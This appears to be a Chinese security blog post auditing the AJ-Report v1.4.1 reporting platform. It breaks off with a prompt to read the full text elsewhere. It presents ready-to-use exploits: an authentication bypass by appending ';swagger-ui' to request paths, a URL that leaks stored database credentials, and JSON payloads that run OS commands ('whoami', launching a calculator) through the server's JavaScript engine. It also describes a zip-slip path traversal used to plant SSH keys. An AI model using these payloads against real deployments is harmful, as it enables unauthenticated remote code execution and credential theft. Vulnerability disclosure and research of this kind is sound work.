专栏名称: 黑伞安全
安全加固 渗透测试 众测 ctf 安全新领域研究
目录
相关文章推荐
汇易咨询  ·  JCI观察:2025年1月印度棕榈油进口创1 ... ·  17 小时前  
BCG波士顿咨询  ·  借力AI,推动车企创造更多现实价值 ·  昨天  
哔哩哔哩  ·  被章子怡轰下台,他犯了哪些面试大忌 ·  2 天前  
51好读  ›  专栏  ›  黑伞安全

Aj-report 二次就业

黑伞安全  · 公众号  ·  · 2024-06-03 18:15

正文

微信公众号: 黑伞安全
关注可了解更多的网络安全技术分享。如有问题或建议,请公众号留言;
如果你觉得挖不到src漏洞,希望黑伞安全知识星球对你有帮助,欢迎加入 [1]

内容目录

aj-report 二次就业 0x01 filter 绕过 0x02 sql 信息泄漏 0x03 js执行命令 0x04 validationRules 命令执行 0x05 zip-slip 0x06 大屏分享信息泄漏 0x07 java代码执行 0x08 jwt 绕过登录 0x09 sql问题 修复意见

aj-report 二次就业

最新先知有人发了aj-report文章,看了看,是一个filter绕过,还有jwt,竟然还没修,这是两年前发表的AJ-Report_RCE。aj-report是我两年前学习代码审计审计的第一套代码,那时候藏了一些洞没写,所以现在重新看一看。环境v1.4.1。

0x01 filter 绕过

com.anjiplus.template.gaea.business.filter.TokenFilter.java

解释

   public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        HttpServletRequest request = (HttpServletRequest) servletRequest;
        HttpServletResponse response = (HttpServletResponse) servletResponse;
        String uri = request.getRequestURI();

        // TODO 暂时先不校验 直接放行
        /*if (true) {
            filterChain.doFilter(request, response);
            return;
        }*/


        //OPTIONS直接放行
        if ("OPTIONS".equalsIgnoreCase(request.getMethod())) {
            filterChain.doFilter(request, response);
            return;
        }

        // swagger相关的直接放行
        if (uri.contains("swagger-ui") || uri.contains("swagger-resources")) {
            filterChain.doFilter(request, response);
            return;
        }
bypass payload
POST /dataSetParam/verification;swagger-ui/  HTTP/1.1

这获取了URL,然后判断是否包含“swagger-ui”或着”swagger-resources”,包含直接放行。

没什么好说的,鉴权绕过。

0x02 sql 信息泄漏

com.anji.plus.gaea.curd.controller.GaeaBaseController#pageList

解释

@GetMapping({"/pageList"})
@Permission(
code = "query",
name = "查询"
)
@GaeaAuditLog(
pageTitle = "查询",
isSaveResponseData = false
)
public ResponseBean pageList(P param) {
IPage<T> iPage = this.getService().page(param);
List<T> records = iPage.getRecords();
List<D> list = GaeaBeanUtils.copyList(records, this.getDTO().getClass());
this.pageResultHandler(list);
Page<D> pageDto = new Page();
pageDto.setCurrent(iPage.getCurrent()).setRecords(list).setPages(iPage.getPages()).setTotal(iPage.getTotal()).setSize(iPage.getSize());
return this.responseSuccessWithData(pageDto);
}

直接查询dataSource的信息,然后把Dto信息全部直接放回,造成泄漏

public Page<T> setRecords(List<T> records) {
this.records = records;
return this;

}



protected List<T> records;


Dto里面存在Collections集合,直接把配置信息放回出来。

结合一下,可以拿到数据库账号密码

/;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10

0x03 js执行命令

参考两年前发表的AJ-Report_RCE,(https://mp.weixin.qq.com/s/HsH_nEI5SyOP_Y9Qbm0A1w)

没有修复。

第一个点 (validationRules参数校验点)

com.anjiplus.template.gaea.business.modules.dataset.service.impl.DataSetServiceImpl#testTransform

        boolean




    
 verification = dataSetParamService.verification(dto.getDataSetParamDtoList(), null);
        if (!verification) {
            throw BusinessExceptionBuilder.build(ResponseCode.RULE_FIELDS_CHECK_ERROR);
        }

看方法实现

 public Object verification(DataSetParamDto dataSetParamDto) {

        String validationRules = dataSetParamDto.getValidationRules();
        if (StringUtils.isNotBlank(validationRules)) {
            try {
                engine.eval(validationRules);
                if(engine instanceof Invocable){
                    Invocable invocable = (Invocable) engine;
                    Object exec = invocable.invokeFunction("verification", dataSetParamDto);
                    ObjectMapper objectMapper = new ObjectMapper();
                    if (exec instanceof Boolean) {
                        return objectMapper.convertValue(exec, Boolean.class);
                    }else {
                        return objectMapper.convertValue(exec, String.class);
                    }

                }

然后执行。

第二个点(js脚本)

com.anjiplus.template.gaea.business.modules.datasettransform.service.impl.JsTransformServiceImpl#getValueFromJs.java

public List transform(DataSetTransformDto def, List data) {
        return getValueFromJs(def,data);
    }

    private List getValueFromJs(DataSetTransformDto def, List data) {
        String js = def.getTransformScript();
        try {
            engine.eval(js);
            if(engine instanceof Invocable){
                Invocable invocable = (Invocable) engine;
                Object dataTransform = invocable.invokeFunction("dataTransform", data);
                if (dataTransform instanceof List) {
                    return (List) dataTransform;
                }
                //前端js自定义的数组[{"aa":"bb"}]解析后变成{"0":{"aa":"bb"}}
                ScriptObjectMirror scriptObjectMirror = (ScriptObjectMirror) dataTransform;
                List result = new ArrayList<>();
                scriptObjectMirror.forEach((key, value) -> {
                    ScriptObjectMirror valueObject = (ScriptObjectMirror) value;
                    JSONObject jsonObject = new JSONObject();
                    jsonObject.putAll(valueObject);
                    result.add(jsonObject);
                });
                return result;
            }

这里两个地方都可以,也根本不用绕过。

poc:

{"dynSentence""{\"apiUrl\":\"http://127.0.0.1:9095/dataSet/testTransform\",\"method\":\"GET\",\"header\":\"{\\\"Content-Type\\\":\\\"application/json;charset=UTF-8\\\"}\",\"body\":\"\"}","dataSetParamDtoList":[{"paramName":"","paramDesc":"","paramType":"","sampleItem":"","mandatory":true,"requiredFlag":2,"validationRules":"function dataTransform(){\nvar x=java.lang.Runtime.getRuntime().exec(\"open -a calculator\")\n}"}],"dataSetTransformDtoList":[{"transformType":"js","transformScript":""}],"setType":"http"}

0x04 validationRules 命令执行

com.anjiplus.template.gaea.business.modules.datasetparam.controller.DataSetParamController#verification.java

@PostMapping("/verification")
public ResponseBean verification(@Validated @RequestBody DataSetParamValidationParam param) {
DataSetParamDto dto = new DataSetParamDto();
dto.setSampleItem(param.getSampleItem());
dto.setValidationRules(param.getValidationRules());
return responseSuccessWithData(dataSetParamService.verification(dto));
}

其实看上面就知道,js的规则,然后走到eval。

com.anjiplus.template.gaea.business.modules.datasetparam.service.impl.DataSetParamServiceImpl#verification(com.anjiplus.template.gaea.business.modules.datasetparam.controller.dto.DataSetParamDto)

对应实现类,有绕过,套娃就行。

dto里面设置validationRules就行。

{"sampleItem":"1","validationRules":"function verification(data){var se= new javax.script.ScriptEngineManager();var r = se.getEngineByExtension(\"js\").eval(\"new java.lang.ProcessBuilder('whoami').start().getInputStream();\");result=new java.io.BufferedReader(new java.io.InputStreamReader(r));ss='';while((line = result.readLine()) != null){ss+=line};return ss;}"}

0x05 zip-slip

com.anjiplus.template.gaea.business.modules.dashboard.controller.ReportDashboardController#importDashboard.java

@PostMapping("/import/{reportCode}")
@Permission(code = "import", name = "导入大屏")
public ResponseBean importDashboard(@RequestParam("file") MultipartFile file, @PathVariable("reportCode") String reportCode) {
reportDashboardService.importDashboard(file, reportCode);
return ResponseBean.builder().build();
}

对应的controller,传file流和code就好

com.anjiplus.template.gaea.business.modules.dashboard.service.impl.ReportDashboardServiceImpl#importDashboard 实现类

public void importDashboard(MultipartFile file, String reportCode) {
log.info("导入开始,{}", reportCode);
//1.组装临时目录,/app/disk/upload/zip/临时文件夹
String path = dictPath + ZIP_PATH + UuidUtil.generateShortUuid();
//2.解压
FileUtil.decompress(file, path);
// path/uuid/
File parentPath = new File(path);
//获取打包的第一层目录
File firstFile = parentPath.listFiles()[0];

File[] files = firstFile.listFiles();

//定义map
Map<String, String> fileMap = new HashMap<>();
String content = "";

for (int i = 0; i < files.length; i++) {
File childFile = files[i];
if (JSON_PATH.equals(childFile.getName())) {
//json文件
content = FileUtil.readFile(childFile);
} else if ("image".equals(childFile.getName())) {
File[] imageFiles = childFile.listFiles();
//所有需要上传的图片
for (File imageFile : imageFiles) {
//查看是否存在此image
String fileName = imageFile.getName().split("\\.")[0];
//根据fileId,从gaea_file中读出filePath
LambdaQueryWrapper<GaeaFile> queryWrapper = Wrappers.lambdaQuery();
queryWrapper.eq(GaeaFile::getFileId, fileName);
GaeaFile gaeaFile = gaeaFileService.selectOne(queryWrapper);
String uploadPath;
if (null == gaeaFile) {
GaeaFile upload = gaeaFileService.upload(imageFile);
log.info("存入图片: {}", upload.getFilePath());
uploadPath = upload.getUrlPath();
}else {
uploadPath = gaeaFile.getUrlPath();
}
fileMap.put(fileName, uploadPath);
}
}

}


public static void decompress(MultipartFile zipFile, String dstPath) {
try {
File dir = new File(dstPath);
if (!dir.exists()){
dir.mkdirs();
}
String path = dir.getPath();
String absolutePath = dir.getAbsolutePath();
File file = new File(dir.getAbsolutePath() + File.separator + zipFile.getOriginalFilename());
zipFile.transferTo(file);
decompress(new ZipFile(file), dstPath);
//解压完删除
file.delete();
} catch (IOException e) {
log.error("", e);
throw BusinessExceptionBuilder.build(ResponseCode.FILE_OPERATION_FAILED, e.getMessage());
}
}

没有的zipEntry进行../ 过滤,导致zip目录穿越。

然后ssh 指定私钥连接。

0x06 大屏分享信息泄漏

com.anjiplus.template.gaea.business.modules.reportshare.controller.ReportShareController#detailByCode

@GetMapping({"/detailByCode"})
@Permission(code = "detail", name = "明细")
public ResponseBean detailByCode(@RequestParam("shareCode") String shareCode) {
return ResponseBean.builder().data(reportShareService.detailByCode(shareCode)).build();
}

对象实现类







请到「今天看啥」查看全文